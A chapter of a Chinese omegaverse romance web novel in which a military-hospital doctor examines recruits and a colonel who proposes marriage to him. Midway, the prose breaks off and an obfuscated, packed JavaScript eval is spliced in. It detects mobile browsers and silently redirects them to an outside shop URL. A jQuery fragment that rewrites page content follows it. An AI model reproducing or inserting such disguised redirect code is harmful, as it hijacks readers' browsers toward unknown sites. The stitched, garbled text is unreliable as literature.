第三天,夏漓大病初愈,重新回到工作岗位。
接他班的那位医生如释重负,说他可算来了。
参军人士的体检任务还在进行,其中包括但不限于身高、体重、视力听力、骨骼肌肉、脊柱关节、腹部、腺体、心肺、血压、皮肤疤痕等内外科多项全身检查,需要细致具体的测量和数据,以便基地记录。
夏漓穿白大褂,戴医用口罩,呼吸热热地闷在口罩里。
他站在体检室内,秉持着专业的一丝不苟的态度,给每一位进来的人做身体以及腺体的检查。
这项综合检查需要脱掉上半身的衣物。
申请参军的人数里也是alpha最多,其次beta,最后才是omega。
中午,夏漓跟程念以及其他几位做检查的医生一起吃饭,听到他们聊起alpha的身材这个话题。
这在所难免,他们医院里beta和omega医生不在少数。坦白说,不少来申请参军的alpha们身材都可以称得上优秀,肌肉饱满有力,令人过目不忘。
程念听他们说训练营带新人的军官也来体检,大家都有些激动。能去训练营的军官,各个军衔都不低,至少是尉级,能一饱眼福也很不错。
夏漓默默听着,没加入话题,自从生病后胃口就不怎么好,也没有吃多少。
检查的任务量大,留给他们吃饭的时候并不多,刚吃完,又立刻要回到岗位上去,开启新一轮工作。
夏漓努力维持头脑的清醒,保持良好的工作状态,尽管一整天下来他有些腿脚酸痛,体力不足。
omega露一双明亮清澈的眼睛,说话时声音闷着,但态度温和。也许是因为病还没彻底好、休息不足的缘故,眼皮温烫,眼下微微有些泛红,看起来有几分可怜,又在医用白大褂的外套包裹下显出纯洁。
他胸口的口袋里别着一支银色钢笔,记录时需要脱下手套,将笔抽出来。
omega洁白莹润的手指像在抽取一枝玫瑰。
偶有几个alpha被吸引。
omega垂着眼眸写下数据,听到对方的夸奖说:“医生,你的眼睛很漂亮。”
“谢谢。”夏漓没做多想,礼貌回应。
“摘掉口罩更漂亮。”
夏漓写字的手一顿,抬头淡淡地瞥了他一眼,alpha丝毫不觉自己有错,仍是直勾勾盯着他,意味明显。
夏漓很容易猜到对方特意看过外面的医生信息显示屏。
他在最底下的医生意见那一小栏,写下“言语轻佻”四个字。
下一个人进来时,夏漓短暂地整理了桌上物件,听到门被带响的声音,夏漓回身,不由得愣了愣。
面前的人是……厉珣。
夏漓回避他投射过来的沉沉的视线。
他觉得自己看不懂他。
发烧的那一天,厉珣已经看到他要填写的那张申请表,他愣在那里很久,又仍然当做没看见般,只字不提这件事,继续陪着他,盯着他吃药休息。
随之又想到上校本就是会去训练营,他是最高指挥官,必然也会出面,甚至亲自带队。这不意外。
只要他还在军区医院,就无可避免地会产生一些上下属、医生患者的联系。
厉珣解掉自己的制服衣扣,脱掉里面的白色衬衫,以及背心。
alpha的肉/体暴露在灯光之下。
他实在是高大,比夏漓今天见到的任何一位alpha都要身形高大,肩膀宽厚,肌肉鼓实有力,偏偏腰腹窄紧。常年的训练和战斗在他的身上留下不少痕迹,却显出几分野性力量。
他的身体,夏漓其实是熟悉的。
他很清楚alpha身上的每一寸肌肉纹理,每一根青筋盘踞的走向。什么时候肌肉会收紧,什么时候又在用力,鼓起来硬邦邦的程度有多硬,他都知道。
夏漓不去回想。
他戴着医用手套,沉默地在上校的身体上做一些按压和检查,跟其他人并没有什么不同。
omega垂着眼,眼尾延伸出一条流畅漂亮的弧度,睫毛浓密如鸦羽。
熟悉的气息靠近过来,令他眷恋。
厉珣不可避免地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739052|208803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想到前一个做检查的alpha和他的对话。
那时候门未关紧,留出缝隙,alpha的听力足够敏锐,等在外面轻易就能听到,难免感到心情烦躁。
omega温热的手指压上他的腹部,alpha的肌肉蓦然绷紧了几度,呼吸微沉。
夏漓很快收回手,做最后的腺体检查。
指尖贴上去,夏漓感受到alpha腺体的饱满和鼓动,供血充足,泛着隐隐的热意。
这代表他的腺体没有问题。
“您的腺体看起来没有什么问题,”夏漓如实相告,想了想,又问,“信息素是否在正常水平?”
“或许。”alpha回答的声线微哑,字眼模糊。
尽管omega检查的手法专业谨慎,但腺体仍然是足够敏感隐私的重要部位,与抚弄alpha的第二性/器官无异。
夏漓顿了两秒,“有过波动紊乱迹象?”
“有。”
“最近一次?”
“前天,周三,下雨的晚上。”
alpha静深如水的眸子注视着面前的omega,一字一顿地给出回答。
他每说一个词,夏漓的心就被无意识地攥一下,把他拖进那个淅沥落雨的天气里。
好像又在淋雨,头昏脑胀了起来。
连带着眼皮都热。
夏漓不知道他回去后有产生信息素紊乱迹象。
他以医生的角度建议道:“如果是偶然情况,观察两天没有出现异常的话不用在意,注意个人情绪和休息,上校不放心的话……”
厉珣敛眸,听他发闷的声音,等他说完。
“楼下有具体的腺体筛查项目,可以做一下。”
厉珣没有应声,穿好自己的制服。
omega背对着他在表格上写下数据,又在最底下的意见写“建议腺体筛查”。
厉珣目光定定地落在他身上,“夏漓,如果你想结婚的话……”
夏漓停了笔,睫毛不自觉眨动,但没有看他。
“不如,考虑一下我。”